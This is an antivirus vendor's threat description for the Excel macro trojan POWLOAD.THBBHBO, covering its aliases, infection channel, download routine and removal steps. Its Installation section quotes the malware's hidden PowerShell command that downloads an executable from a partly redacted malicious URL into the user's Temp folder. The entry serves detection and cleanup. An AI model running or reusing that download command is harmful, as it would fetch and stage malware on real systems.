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Trojan.X97M.POWLOAD.THBBHBO

June 17, 2020
 Modified by: Earle Maui Earnshaw
 ALIASES:

TrojanDownloader:O97M/Obfuse.ARJ!MTB (Microsoft); Trojan.GenericKD.42685813 (BITDEFENDER)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

224,643 bytes

File Type:

XLSX

Memory Resident:

Yes

Initial Samples Received Date:

16 Jun 2020

Payload:

Connects to URLs/IPs, Downloads files, Displays message/message boxes

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://sevice.{BLOCKED}5.org/client[.]exe',$env:Temp+'\newfile.Exe');

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://sevice.{BLOCKED}5.org/client.exe

It saves the files it downloads using the following names:

  • %User Temp%\newfile.Exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan does the following:

  • The document contains the following message details luring users to enable macro content:

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.934.08

FIRST VSAPI PATTERN DATE:

16 Jun 2020

VSAPI OPR PATTERN File:

15.935.00

VSAPI OPR PATTERN Date:

17 Jun 2020

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

    Downloader.VBA.TRX.XXVBAF01FF008

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Search and delete these files

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There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\newfile.Exe

Step 5

Enable the macro virus protection in Microsoft Office Applications

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Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.X97M.POWLOAD.THBBHBO. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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